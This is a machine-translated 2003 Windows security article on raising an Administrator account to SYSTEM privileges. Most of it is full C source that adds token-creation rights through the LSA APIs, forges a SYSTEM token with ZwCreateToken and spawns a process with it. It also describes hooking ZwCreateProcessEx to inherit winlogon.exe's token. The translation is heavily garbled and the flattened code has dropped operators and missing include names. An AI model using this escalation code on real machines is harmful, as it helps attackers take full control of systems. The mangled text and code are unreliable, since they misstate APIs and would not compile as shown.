Administrator users get SYSTEM permissions directly

xiaoxiao2021-03-06  18

MSDN series (3) - Administrator user direct access to SYSTEM privileges of: "scz" Source: http: //www.nsfocus.com Date: 2003-07-02 Title: MSDN series (3) --Administrator users directly get system permissions Date: 2003-06-21 21:51 Updated: -------------------------------------------------------------------------------------------------------------------------- -------------------------------------------- Directory: ☆ Overview ☆ Sysproc .c ☆ sysproc_now.c ☆ Reference resources ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------------------------- ☆ Overview Turquote [5], this example 8.1 shows how Start CMD as SYSTEM. I used to reach the same purpose, using the AT command, but the Task Scheduler Service is disabled on weekdays, the feeling is very winding, not very good. There is a ready-made executable on the Internet to obtain System permissions directly, do not like this type of gadget without source, never tried. Sparrow brothers shared a source code of ASHOT OGANESYAN K in Shuimu Tsinghua MSDN, which also got SYSTEM permissions. I have two ready-made short-intensive source code, and it is difficult to do it. Finally, I found that the code gave the sputaneous brother with practical value. The Gary Nebbett's code has lost the practical value for 2K / XP, thank you for your guidance, and the specific technical discussion will be seen. This article provides two complete source code, sysproc.c, sysproc_now.c, the former demo Gary Nebbett approach, the latter demonstrates the approach of Ashot OganeSyan K. ASHOT OGANESYAN K Sourcecodes only support 2K, unclear whether the Daren has been updated, Google does not find the source code (thank you for Sparrow sharing), there is no way, I have to increase the XP and 2003 Server support. In addition, it is convenient to use, sysproc_now.c finds the PID of Winlogon.exe, and does not have to specify the PID with System permissions on the command line. ☆ The central idea of ​​sysproc.cgary nebbett is to use ZwcreateToken () to create a SYSTEM token (token) as a CreateProcessAsuser (). This idea is very good, I also spend a lot of technical documents related to the token, but I don't reach the predetermined effect during the 2K / XP environment. Started according to the encoding of Gary Nebbett, and zwcreateToken () in 2K failed to return, saying that the current account does not have enough permissions. XP said that the current account cannot be assigned to the owner of the fake SYSTEM token (Owner). About this point of view in the sysproc.c / createSystemToken () function, it can also be seen from the XP than 2K more security checks. Later, uniformly use the way of demo in sysproc.c, this is a bundle prompt that permissions is insufficient. Know that call zwcreatetoken () requires se_create_token_name permissions, so in the program, the enabled, the relevant code path is not prompted to fail. Therefore, it is very confused for "not enough permissions". In view of my lack of understanding of Privilege, I simply put all the permissions listed in Winnt.h first, and the same entry.

From this, I thought that the Administrator defaults did not be part of the GRANT, and AdjustTokenPrivileges () can only enable / disable those already Grant's permissions, such as the SE_Debug_name permissions mentioned earlier, and cannot be GRANT permissions. Just rain came in Beijing, we gathered for two days, and asked Rain and Flier in this issue. Rain added a code for sysproc.c, showing the privileges owned by the current account, and the CreateSystemToken () function. The administrator has not had the required SE_CREATE_TOKEN_NAME privilege. Rain tells me that this permission in 2K / XP needs to explicitly assign, which is what the "local security policy / user rights assignment", whether NT needs to explicitly assign that I did not confirm. By default, the information required for CreateProcessAsUser () is not assigned to the administrator account. These two permissions correspond to the "local security policy / user rights assignment": se_create_token_name - create a token objectse_assignprimarytoken_name - Replace A Process Level token In this deepened the memory of AdjustTokenPrivileges (). Starting the description in MSDN without perceptual understanding, only the return value is false without judging the case where getLastError () is ERROR_NOT_ALL_ASSIGNED, causing that the Enable failed on the relevant code path at the time. Handmade these two permissions, log out and log in, and the purpose of Gary Nebbett is reached after logging out. You can use the Local Security Policy / User Rights Assignment, but it is programmed to implement this step ([2]). Using lsaOpenPolicy (), LsaAdDaccountRights (), addprivilege () demonstrates this process. But the problem is that it must be logged out of / red login in effect. This is for me, in fact, I have lost the value, I need to immediately (now) get System permissions. Some people may think of ZwcreateToken () to logonuser (), about the latter can see [3], [4], that is not what I need. The complete source code of sysproc.c is given below, and it is the principle that the consistent style is directly commanded in the untenoted work. The comment is quite lengthy, it is written to me, I am particularly unfamiliar with these APIs, don't write a comment, next time I don't understand is very normal, who makes the dead Windows API so many ginseng.

-------------------------------------------------- ------------------------ / ** for x86 / ewindows XP SP1 & VC 7 * CL sysproc.c / os / g6 / w3 ** gary Nebbett * rain * // ********************************************************************** ********************************* *************** *********************************************************** ******** / # include #include #include #include / ************ *********************************************************** ********** ** macro ** ******************************************* ******************************************************************* / # Pragma Comment (Linker, "/ Subsystem: ") #pragma comment (lib," advapi32.lib ") typef long ntstatus; / ** you'll Find a list of ntstatus status codes in the ddk header * ntstatus.h (/Winddk/2600.1106/inc/ddk/ WXP /) * / # define nt_success (status) (status)> = 0) #define status_success ((ntstatus) 0x00000000L) / **************** *********************************************************** ******* NTDEF.H * / TypeDef struct _object_attributes {ULON G Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService;} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; / ** ntdef.h ******************** *********************************************************** **** // ** See the DDK document and << Windows NT / 2000 Native API Reference >> - Gary Nebbett * These native APIs are output from NTDLL.DLL output * / typedef ulong (__stdcall * rtLntStatusEdoserror) (in ntstatus status);

typedef NTSTATUS (__stdcall * ZWCREATETOKEN) (OUT PHANDLE TokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN TOKEN_TYPE Type, IN PLUID AuthenticationId, IN PLARGE_INTEGER ExpirationTime, IN PTOKEN_USER User, IN PTOKEN_GROUPS Groups, IN PTOKEN_PRIVILEGES Privileges, IN PTOKEN_OWNER Owner, IN PTOKEN_PRIMARY_GROUP PRIMARYGROUP, IN PTOKEN_DEFAULT_DACL DEFAULTDACL, IN PTOKEN_SOURCE SOURCE); / ******************************************************* ********************************* ** FUNCTION prototype ** ********* *********************************************************** ************** / static BOOL AddCurrentProcessPrivilege (LPWSTR PrivilegeName); static BOOL AddPrivilege (LSA_HANDLE PolicyHandle, PSID AccountSid, LPWSTR PrivilegeName); static HANDLE CreateSystemToken (void); static BOOL DisableCurrentProcessSomePrivilege (void) Static Bool EnableCurrentProcessSomePrivilege (Void); Static Pvoid ​​getFromToken (Handle Tokenhandle, Token_information_Class TokenformationClass) ; Static BOOL LocateNtdllEntry (void); static void PrintWin32Error (char * message, DWORD dwMessageId); static void PrintZwError (char * message, NTSTATUS status); static BOOL RemoveCurrentProcessPrivilege (LPWSTR PrivilegeName); static BOOL RemovePrivilege (LSA_HANDLE PolicyHandle, PSID AccountSid, LPWSTR PrivilegeName); static BOOL SetCurrentProcessPrivilege (LPCTSTR PrivilegeName, BOOL EnableFlag); static BOOL SetPrivilege (HANDLE TokenHandle, LPCTSTR PrivilegeName, BOOL EnableFlag);

/ ************************************************** *********************** ** Static global var ** ****************** *********************************************************** **** // ** NTDLL.DLL function pointer * / static rtlntstodoserror = null; static zwcreatetoken zwcreatetoken = null; / *********************************** *********************************************************** ***** / static BOOL AddCurrentProcessPrivilege (LPWSTR PrivilegeName) {NTSTATUS status; BOOL ret = FALSE; LSA_HANDLE PolicyHandle = NULL; LSA_OBJECT_ATTRIBUTES ObjectAttributes; HANDLE CurrentProcessToken = NULL; PTOKEN_USER token_user = NULL; ZeroMemory (& ObjectAttributes, sizeof (ObjectAttributes)); / ** NTSTATUS LsaOpenPolicy * (* PLSA_UNICODE_STRING SystemName, * PLSA_OBJECT_ATTRIBUTES ObjectAttributes, * ACCESS_MASK DesiredAccess, * PLSA_HANDLE PolicyHandle *); * / status = LsaOpenPolicy (NULL, & ObjectAttributes, POLICY_ALL_ACCESS, & PolicyHandle); if (! status = STATUS_SUCCESS) {PrintWin32Error ( "Lsaopenpolicy () failed, lsants tatusToWinError (status)); goto AddCurrentProcessPrivilege_exit;} if (FALSE == OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY, & CurrentProcessToken)) {PrintWin32Error ( "OpenProcessToken () failed", GetLastError ()); goto AddCurrentProcessPrivilege_exit;} if (NULL == (token_user = (PTOKEN_USER) GetFromToken (CurrentProcessToken, TokenUser))) {goto AddCurrentProcessPrivilege_exit;} if (FALSE == AddPrivilege (PolicyHandle, token_user-> User.Sid, PrivilegeName)) {goto AddCurrentProcessPrivilege_exit;} ret = TRUE; AddCurrentProcessPrivilege_exit: if (NULL! = Token_user) {free (token_user); token_user = null;} if (null! =

CurrentProcessToken) {CloseHandle (CurrentProcessToken); CurrentProcessToken = NULL;} if (NULL = PolicyHandle) {LsaClose (PolicyHandle); PolicyHandle = NULL;}! Return (ret);} / * end of AddCurrentProcessPrivilege * // ** a second look parameter is a wide character string * / static BOOL AddPrivilege (LSA_HANDLE PolicyHandle, PSID AccountSid, LPWSTR PrivilegeName) {BOOL ret = FALSE; LSA_UNICODE_STRING UserRights; USHORT StringLength; NTSTATUS status; if (PrivilegeName == NULL) {goto AddPrivilege_exit;} StringLength = wcslen (PrivilegeName); UserRights.Buffer = PrivilegeName; UserRights.Length = StringLength * sizeof (WCHAR); UserRights.MaximumLength = (StringLength 1) * sizeof (WCHAR); / ** Header: Declared in Ntsecapi.h * Library. .: Use Advapi32.lib ** NTSTATUS LsaAddAccountRights * (* LSA_HANDLE PolicyHandle, * PSID AccountSid, * PLSA_UNICODE_STRING UserRights, * ULONG CountOfRights *); * / status = LsaAddAccountRights (PolicyHandle, AccountSid, & UserRights, 1); if (status =! Status_success) {PrintWin32error ("LsaadDaccounTrights () Fail ed ", LsaNtStatusToWinError (status)); goto AddPrivilege_exit;} ret = TRUE; AddPrivilege_exit: return (ret);} / * end of AddPrivilege * / static HANDLE CreateSystemToken (void) {NTSTATUS status; HANDLE CurrentProcessToken = NULL; HANDLE SystemToken = NULL; sID_IDENTIFIER_AUTHORITY sid_identifier_authority = SECURITY_NT_AUTHORITY; PTOKEN_PRIVILEGES token_privileges = NULL; / ** typedef struct _TOKEN_USER * {* SID_AND_ATTRIBUTES User; *} TOKEN_USER, * PTOKEN_USER; ** typedef struct _SID_AND_ATTRIBUTES * {* PSID Sid; * DWORD Attributes; *} SID_AND_ATTRIBUTES, * Psid_and_attributes; * / token_user token_user = {{null, 0}};

/ ** typedef struct _TOKEN_SOURCE * {* Char SourceName [8]; * LUID SourceIdentifier; *} TOKEN_SOURCE, * PTOKEN_SOURCE; ** typedef struct _LUID * {* DWORD LowPart; * LONG HighPart; *} LUID, * PLUID; * / Token_Source token_Source = {{'*', '*', 'A', 'N', 'O', 'N', '*', '*'}, {0, 0}}; / ** TypedEf Struct _TOKEN_STATISTICS * {* LUID TokenId; * LUID AuthenticationId; * LARGE_INTEGER ExpirationTime; * tOKEN_TYPE TokenType; * SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; * DWORD DynamicCharged; * DWORD DynamicAvailable; * DWORD groupCount; * DWORD PrivilegeCount; * LUID ModifiedId; *} TOKEN_STATISTICS, * PTOKEN_STATISTICS; * / PTOKEN_STATISTICS token_statistics = NULL; / ** typedef struct _TOKEN_OWNER * {* PSID Owner; *} tOKEN_OWNER, * PTOKEN_OWNER; * / tOKEN_OWNER token_owner = {NULL}; LUID AuthenticationId = SYSTEM_LUID; / ** typedef struct _SECURITY_QUALITY_OF_SERVICE * {* DWORD Length; * security_impersonation_level impersonationLevel; * security_context_tracking_mode contexttrackingmode; * boolean effectiveOnly; *} securit Y_QUALITY_OF_SERVICE, * PSECURITY_QUALITY_OF_SERVICE; * / SECURITY_QUALITY_OF_SERVICE security_quality_of_service = {sizeof (security_quality_of_service), SecurityAnonymous, // SecurityDelegation, SECURITY_STATIC_TRACKING, FALSE}; OBJECT_ATTRIBUTES object_attributes = {sizeof (object_attributes), NULL, NULL, 0, NULL, & security_quality_of_service}; DWORD PrivilegeCount; char PrivilegeName [256]; char PrivilegeDisplayName [256]; DWORD NameSize; DWORD LanguageId; if (FALSE == OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY | TOKEN_QUERY_SOURCE, & CurrentProcessToken)) {PrintWin32Error ( "OpenProcessToken () failed", GetLastError ()) ;

goto CreateSystemToken_exit;} / ** BOOL AllocateAndInitializeSid * (* PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, * BYTE nSubAuthorityCount, * DWORD dwSubAuthority0, * DWORD dwSubAuthority1, * DWORD dwSubAuthority2, * DWORD dwSubAuthority3, * DWORD dwSubAuthority4, * DWORD dwSubAuthority5, * DWORD dwSubAuthority6, * DWORD dwSubAuthority7 , * PSID * pSid *); * / if (FALSE == AllocateAndInitializeSid (& sid_identifier_authority, 1, SECURITY_LOCAL_SYSTEM_RID, 0,0,0,0,0,0,0, & token_user.User.Sid)) {PrintWin32Error ( "AllocateAndInitializeSid ( ) failed ", GetLastError ()); goto CreateSystemToken_exit;} token_owner.Owner = token_user.User.Sid; AllocateLocallyUniqueId (& token_source.SourceIdentifier); if (NULL == (token_statistics = (PTOKEN_STATISTICS) GetFromToken (CurrentProcessToken, TokenStatistics))) { goto CreateSystemToken_exit;} token_privileges = GetFromToken (CurrentProcessToken, TokenPrivileges); for (PrivilegeCount = 0; PrivilegeCount PrivilegeCount; PrivilegeCount ) {/ ** BOOL L ookupPrivilegeName * (* LPCTSTR lpSystemName, * PLUID lpLuid, * LPTSTR lpName, * LPDWORD cbName *); ** BOOL LookupPrivilegeDisplayName * (* LPCTSTR lpSystemName, * LPCTSTR lpName, * LPTSTR lpDisplayName, * LPDWORD cbDisplayName, * LPDWORD lpLanguageId *); * / NameSize = sizeof (PrivilegeName); if (FALSE == LookupPrivilegeName (NULL, & token_privileges-> Privileges [PrivilegeCount] .Luid, PrivilegeName, & NameSize)) {PrintWin32Error ( "LookupPrivilegeName () failed", GetLastError ()); goto CreateSystemToken_exit; } Namesize = sizeof (privilegedisplayname); if (false == lookuppprivilegedisplayName (Null, PrivileGename, PrivilegedisplayName, &

NameSize, & LanguageId)) {PrintWin32Error ( "LookupPrivilegeDisplayName () failed", GetLastError ()); goto CreateSystemToken_exit;} printf ( "% 40s (% s) / n", PrivilegeDisplayName, PrivilegeName);} / * end of for * / status = ZwCreateToken (& SystemToken, TOKEN_ALL_ACCESS, & object_attributes, TokenPrimary, // & token_statistics-> AuthenticationId, & AuthenticationId, & token_statistics-> ExpirationTime, & token_user, GetFromToken (CurrentProcessToken, TokenGroups), // GetFromToken (CurrentProcessToken, TokenPrivileges), token_privileges, //// GetFromToken (CURRENTPROCESSTOKEN, TOKENOWNER) Like the above code.

(! NT_SUCCESS (status); // & token_owner, GetFromToken (CurrentProcessToken, TokenPrimaryGroup), GetFromToken (CurrentProcessToken, TokenDefaultDacl), & token_source) if) {PrintZwError ( "ZwCreateToken () failed", status); goto CreateSystemToken_exit;} CreateSystemToken_exit: if ( ! token_user.User.Sid = NULL) {FreeSid (token_user.User.Sid); token_user.User.Sid = NULL;} if (CurrentProcessToken = NULL) {CloseHandle (CurrentProcessToken); CurrentProcessToken = NULL;}! return (SystemToken) ;} / * end of CreateSystemToken * / static BOOL DisableCurrentProcessSomePrivilege (void) {SetCurrentProcessPrivilege (SE_CREATE_TOKEN_NAME, FALSE); SetCurrentProcessPrivilege (SE_ASSIGNPRIMARYTOKEN_NAME, FALSE); RemoveCurrentProcessPrivilege (L "SeCreateTokenPrivilege"); RemoveCurrentProcessPrivilege (L "SeAssignPrimaryTokenPrivilege"); return (TRUE) } / * End of disablecurrentprocessSomeprivilege * / static bool EnablecurrentProcessSomePrivilege (void) {/ ** For 2K, XP, these two privileged defaults have not given Administrator users. The following two lines * code is what the "local security policy / user rights assignment", so it is also necessary to cancel the weight of the report to take effect, and actually lose the value of utilization.

* / AddCurrentProcessPrivilege (L "SeCreateTokenPrivilege"); AddCurrentProcessPrivilege (L "SeAssignPrimaryTokenPrivilege"); SetCurrentProcessPrivilege (SE_CREATE_TOKEN_NAME, TRUE); SetCurrentProcessPrivilege (SE_ASSIGNPRIMARYTOKEN_NAME, TRUE); return (TRUE);} / * end of EnableCurrentProcessSomePrivilege * / static PVOID GetFromToken (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass) {DWORD needed = 0; PVOID buf = NULL; DWORD error; BOOL errflag = FALSE; / ** BOOL GetTokenInformation * (* HANDLE TokenHandle, * TOKEN_INFORMATION_CLASS TokenInformationClass, * LPVOID TokenInformation, * DWORD TokenInformationLength, * PDWORD ReturnLength *); * / if (FALSE == GetTokenInformation (TokenHandle, TokenInformationClass, NULL, 0, & needed)) {error = GetLastError (); if (error = ERROR_INSUFFICIENT_BUFFER) {PrintWin32Error (! "GetTokenInformation () failed", error); Errflag = true; goto getfromtoken_exit;}} f (null == (buf = calloc (needed, 1))) {fprintf (stderr, "Calloc (% u, 1) failed / n", Neede d); goto GetFromToken_exit;} if (FALSE == GetTokenInformation (TokenHandle, TokenInformationClass, buf, needed, & needed)) {PrintWin32Error ( "GetTokenInformation () failed", GetLastError ()); errflag = TRUE; goto GetFromToken_exit;} GetFromToken_exit: IF (Errflag == True) {if (buf! = null) {free (buf); buf = null;}} Return (buf);} / * end of getFromToken * // ** NTDLL.DLL output all Native API * / static BOOL LocateNtdllEntry (void) {BOOLEAN bool_ret = FALSE; char nTDLL_DLL [] = "ntdll.dll"; HMODULE ntdll_dll = NULL; / ** returns a handle to a mapped module without incrementing its * reference count * / IF ((NTDLL_DLL =

GetModuleHandle (NTDLL_DLL)) == NULL) {PrintWin32Error ( "GetModuleHandle () failed", GetLastError ()); return (FALSE);} if ((RtlNtStatusToDosError = (RTLNTSTATUSTODOSERROR!) GetProcAddress (ntdll_dll, "RtlNtStatusToDosError"))) { goto LocateNtdllEntry_return;} if ((ZwCreateToken = (ZWCREATETOKEN) GetProcAddress (ntdll_dll, "ZwCreateToken"))!) {goto LocateNtdllEntry_return;} bool_ret = TRUE; LocateNtdllEntry_return: if (FALSE == bool_ret) {PrintWin32Error ( "GetProcAddress () failed" , GetLastError ());} ntdll_dll = NULL; return (bool_ret);} / * end of LocateNtdllEntry * / static void PrintWin32Error (char * message, DWORD dwMessageId) {char * errMsg; FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwMessageId, Makelangid (Lang_neutral, Sublang_Default), (LPTSTR) & Errmsg, 0, NULL; FPRINTF (stderr, "% s:% s", message, errmsg); LocalFree (errmsg); return;} / * end of printwin32error * / static Void Printzwerror (Char * Message, NTSTATUS STATUS) {char * errmsg; for matMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, RtlNtStatusToDosError (status), MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) & errMsg, 0, NULL); fprintf (stderr, "% s:% s", message, errMsg); LocalFree (errMsg ); return;} / * end of PrintZwError * / static BOOL RemoveCurrentProcessPrivilege (LPWSTR PrivilegeName) {NTSTATUS status; BOOL ret = FALSE; LSA_HANDLE PolicyHandle = NULL; LSA_OBJECT_ATTRIBUTES ObjectAttributes; HANDLE CurrentProcessToken = NULL; PTOKEN_USER token_user = NULL; ZeroMemory (& ObjectAttributes, SizeOf (ObjectAttributes);

/ ** NTSTATUS LsaOpenPolicy * (* PLSA_UNICODE_STRING SystemName, * PLSA_OBJECT_ATTRIBUTES ObjectAttributes, * ACCESS_MASK DesiredAccess, * PLSA_HANDLE PolicyHandle *); * / status = LsaOpenPolicy (NULL, & ObjectAttributes, POLICY_ALL_ACCESS, & PolicyHandle); if (! Status = STATUS_SUCCESS) {PrintWin32Error ( "LsaOpenPolicy () failed", LsaNtStatusToWinError (status)); goto RemoveCurrentProcessPrivilege_exit;} if (FALSE == OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY, & CurrentProcessToken)) {PrintWin32Error ( "OpenProcessToken () failed", GetLastError ()); goto RemoveCurrentProcessPrivilege_exit ;} if (NULL == (token_user = (PTOKEN_USER) GetFromToken (CurrentProcessToken, TokenUser))) {goto RemoveCurrentProcessPrivilege_exit;} if (FALSE == RemovePrivilege (PolicyHandle, token_user-> User.Sid, PrivilegeName)) {goto RemoveCurrentProcessPrivilege_exit;} RET = True; RemoveCurrentProcessPrivilege_exit: if (null! = token_user) {free (token_user); token_user = null;}} (null! = currentprocessToken) {Clos eHandle (CurrentProcessToken); CurrentProcessToken = NULL;} if (NULL = PolicyHandle!) {LsaClose (PolicyHandle); PolicyHandle = NULL;} return (ret);} / * end of RemoveCurrentProcessPrivilege * / static BOOL RemovePrivilege (LSA_HANDLE PolicyHandle, PSID AccountSid , LPWSTR PrivilegeName) {BOOL ret = FALSE; LSA_UNICODE_STRING UserRights; USHORT StringLength; NTSTATUS status; if (PrivilegeName == NULL) {goto RemovePrivilege_exit;} StringLength = wcslen (PrivilegeName); UserRights.Buffer = PrivilegeName; UserRights.Length = StringLength * Sizeof (Wchar); Userrights.maximumLength = (StringLength 1) * Sizeof (Wchar);

.. / ** Header: Declared in Ntsecapi.h * Library: Use Advapi32.lib ** NTSTATUS LsaRemoveAccountRights * (* LSA_HANDLE PolicyHandle, * PSID AccountSid, * BOOLEAN AllRights, * PLSA_UNICODE_STRING UserRights, * ULONG CountOfRights *); * / status = LsaRemoveAccountRights (PolicyHandle, AccountSid, FALSE, & UserRights, 1); if (! status = STATUS_SUCCESS) {PrintWin32Error ( "LsaRemoveAccountRights () failed", LsaNtStatusToWinError (status)); goto RemovePrivilege_exit;} ret = TRUE; RemovePrivilege_exit: return (ret );} / * end of RemovePrivilege * / static BOOL SetCurrentProcessPrivilege (LPCTSTR PrivilegeName, BOOL EnableFlag) {HANDLE TokenHandle = (HANDLE) -1; BOOL ret = TRUE; / ** Header: Declared in Winbase.h; include Windows.h .. * Library: Use Advapi32.lib ** BOOL OpenProcessToken * (* HANDLE ProcessHandle, * DWORD DesiredAccess, * pHANDLE TokenHandle *); * / if (FALSE == OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, & TokenHandle)) {PrintWin32Error ( "OpenprocessToken () failed, getLastError ()); ret = FALSE; goto SetCurrentProcessPrivilege_exit;} ret = SetPrivilege (TokenHandle, PrivilegeName, EnableFlag); SetCurrentProcessPrivilege_exit: if (! TokenHandle = (HANDLE) -1) {CloseHandle (TokenHandle); TokenHandle = (HANDLE) -1;} return (ret );} / * end of SetCurrentProcessPrivilege * / static BOOL SetPrivilege (HANDLE TokenHandle, LPCTSTR PrivilegeName, BOOL EnableFlag) {DWORD error; BOOL ret = TRUE; / *** typedef struct _TOKEN_PRIVILEGES * {* DWORD PrivilegeCount; * LUID_AND_ATTRIBUTES Privileges [] ; *} Token_privileges, * ptoken_privileges; ** typef struct _luid_and_attributes * {* Luid Luid; * DWord Attributes; *} Luid_And_Attributes, * pluid_and_attributes;

* / Token_privileges tp = {1, {{{0, 0}, 0}}}; if (enableflag == true) {tp.privileges [0] .attributes = se_privilege_enabled;} / ** bool lookprivileValue * (* LPCTSTR LPSystemName, * lpctstr lpname, * pluid lpluid *); ** The second-ginsenamed value is defined in Winnt.h, "Nt Defined Privileges" * / if (false == LookUpprivilerage (Null, PrivileName, & TP. Privileges [0] .Luid)) {PrintWin32Error ( "LookupPrivilegeValue () failed", GetLastError ()); ret = FALSE; goto SetPrivilege_exit;} / ** BOOL AdjustTokenPrivileges * (* HANDLE TokenHandle, * BOOL DisableAllPrivileges, * PTOKEN_PRIVILEGES NewState, * DWORD BufferLength, * PTOKEN_PRIVILEGES PreviousState, * PDWORD ReturnLength *); ** The AdjustTokenPrivileges function can not add new privileges to the * access token It can only enable or disable the token's existing * privileges to determine the token's privileges, call the *.. GetTokenformation function. * / If (false == AdjustTokenPrivileges (Tokenhandle, False, & TP, SizeOf (TP), NULL, NULL) {PrintWin32error ("AdjustTokenPrivileges () Failed ", getLastError ()); RET = false; goto setprivilege_exit;} else {error = getLastError (); / ** This situation brought very hidden, be sure to pay attention.

** ERROR_NOT_ALL_ASSIGNED * / if (ERROR_SUCCESS = error!) {PrintWin32Error ( "AdjustTokenPrivileges () failed", error); ret = FALSE; goto SetPrivilege_exit;}} SetPrivilege_exit: return (ret);} / * end of SetPrivilege * / int Main (int Argc, char * argv []) {startupinfo si = {sizeof (si)}; process_information pi; if (2! = argc) {fprintf (stderr, "usage:% s / n", argv [0]); return (EXIT_FAILURE);} if (FALSE == LocateNtdllEntry ()) {fprintf (stderr, "LocateNtdllEntry () failed / n"); return (EXIT_FAILURE);} EnableCurrentProcessSomePrivilege (); / ** Header : Declared in Winbase.h; include Windows.h * Library:.. Use Advapi32.lib ** BOOL CreateProcessAsUser * (* hANDLE hToken, // handle to user token * LPCTSTR lpApplicationName, // name of executable module * LPTSTR lpCommandLine, // command-line string * LPSECURITY_ATTRIBUTES lpProcessAttributes, // SD * LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD * BOOL bInheritHandles, // inheritance option * DWORD dwCreationFlags, // creation flags * LPVOID lp Environment, // new environment block * LPCTSTR lpCurrentDirectory, // current directory name * LPSTARTUPINFO lpStartupInfo, // startup information * LPPROCESS_INFORMATION lpProcessInformation // process information *); ** Typically, the process that calls the CreateProcessAsUser function * must have the SE_ASSIGNPRIMARYTOKEN_NAME and SE_INCREASE_QUOTA_NAME * privileges * / if. (FALSE == CreateProcessAsUser (CreateSystemToken (), NULL, argv [1], NULL, NULL, FALSE, CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP, NULL, NULL, & si, & pi)) {PrintWin32Error ( "CreateProcessAsUser ( Failed ", getLastError ()); return (exit_failure);} / ** CREATEPROCESSSUSER () returned if it was successful.

* / DisableCurrentProcessSomePrivilege (); / ** The main adjustment is immediately to exit, lazy to explicitly close the handle in the process_information, by the fucking * is implicitly closed. In fact, CreateSystemTemtoken () is called GetFromToken (), and the latter is allocated in the stack area, but this time you don't need to be explicitly released. * / RETURN (EXIT_SUCCESS);} / * end of main * // ******************************************* ********************************************** / ----------- -------------------------------------------------- ------------- If the first execution fails, the logout / reconciliation can be executed again. If the first execution is successful, the logout / redirect login will fail again. This is just how to program the "local security policy / user rights assignment". Execute regedit, if you can see the following, indicate that you have obtained the SYSTEM privilege: HKEY_LOCAL_MACHINE / SAM / SAM / DOMAINS / Builtin By default, the administrator account can only be seen: HKEY_LOCAL_MACHINE / SAM / SAM Personal Preparation will throw sysproc.c In the garbage pile, it is far from me. ☆ sysproc_now.c Sparrow brother explains the center idea of ​​ashot OganeSyan K, Win32 API / CREATEPROCESS () will eventually call Native API / ZWCREATEPROCESS (), the latter's fourth ginseng is inheritfromProcessHandle, the primary token (PRIMARY TOKEN) ) Inherit from this process handle, in general, the parent process handle. To block ZwcreateProcess (), modify the fourth ginseng, make it the corresponding process handle with System permissions, and the sub-process created will have System permissions. I mainly made two improvements. First, use ZWQuerySystemInformation () to find the PID of Winlogon.exe, and get the process handle so that you do not have to specify a PID with System permissions on the command line. The second is to increase support for XP, 2003 Server. At first I intercepted ZwcreateProcess (), find that the XP is invalid, suspect CREATEPROCESS () is no longer called ZWCREATEPROCESS (). Added a point of debug code and confirmed that the process did not pass ZWCREATEPROCESS (). Then I got everywhere to track the tools that track the system call, and finally used the BindView's Strace tool ([1]). The version of the version 0.3 is used on XP, you need to do the following settings in the registry, take effect after restart: --------------------------- --------------------------------------------- Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE / SYSTEM / CURRENTCONTROLSET / CONTROL / SESSION Manager / Memory Management] "EnforceWriteProtection" = DWORD: 00000000 ---------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------Tracking Results There is only NTCreateProcessex () without ntcreateprocess (). So I changed ZwcreateProcessex () and got it.

I don't know what the zwcreateprocessEx () function prototype is nine, which is more than zwcreateprocess (). According to the consistent style of MS, it should not move the top eight ginseng, only to extend the ninth ginseng, so the fourth-episode is inheritfromProcessHandle. ZwcreateProcess () function prototype can be found [5]. By the way, write, detect rootkit, you have to pay attention to this change on XP / 2003. In order to distinguish 2000 / XP / 2003, use getversionex () to make a precise OS version judgment. Use IDA Pro 4.3.0 to disassemble NTDLL.DLL to find the following information: -------------------------------- ----------------------------------------- xpzwcreateprocess 2fhzwcreateprocessEx 30H2003 ServerzwcreateProcess 31HzwcreateProcessEx 32h--- -------------------------------------------------- ---------------------- Maybe you see is not a familiar int 2eh, similar to the following code: ------------ -------------------------------------------------- ------------ ZwcreateProcessex Proc Nearmov Eax, 32HMOV EDX, 7FFE0300HCall Edxretn 24HzWcreateProcessex Endp ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------ 0x7ffe0300 What is something, check with KD: ----------------------------------------- -------------------------------- LKD> u 0x7ffe0300shareduserdata! SystemCallstub: 7ffe0300 8BD4 MOV EDX, ESP7FFE0302 0F34 SYSENTER7FFE0304 C3 RET -------------------------------------------------- ------------------------ this is the so-called "fast system call interface". See the Interpretation of the Sysenter Directive in Intel Volume II. VC 7 does not support Sysenter, I use _emit to embed the machine code directly. From Windows 2000 / PII to introduce this fast system call interface with traditional int 2eh coexisting, but you can still be successful with int 2eh. NTOSKRNL corresponds to these two system call interfaces to KiFastCallenTry (), KisystemService ().

-------------------------------------------------- ------------------------ LKD> U NT! KifastcallenTrynt! KifastCallenTry: 8052d480 368b0d40f0dfff Mov ECX, SS: [FFDF040] 8052D487 368B6104 MOV ESP, SS: [ecx 0x4] 8052d48b b90403fe7f mov ecx, 0x7ffe03048052d490 3b2504f0dfff cmp esp, [ffdff004] 8052d496 0f84ce030000 je nt KiServiceExit2 0x143 (8052d86a) 8052d49c 6a23 push 0x238052d49e 52 push edx8052d49f 83c208 add edx, 0x8lkd> u nt KiSystemServicent KiSystemService:!!! 8052d4ad 6a00 push 0x08052d4af 55 push ebp8052d4b0 53 push ebx8052d4b1 56 push esi8052d4b2 57 push edi8052d4b3 0fa0 push fs8052d4b5 bb30000000 mov ebx, 0x308052d4ba 668ee3 mov fs, bxlkd> --------------------- -------------------------------------------------- --- To intercept kifastcallenTry (), it is more complicated than intercepting KisystemService (). About this, there is not much explanation, anyway, the main purpose is not to intercept the kernel space. However, it is necessary to remember this, only kiSystemService () is likely to get an error conclusion. [6] is a good document on this 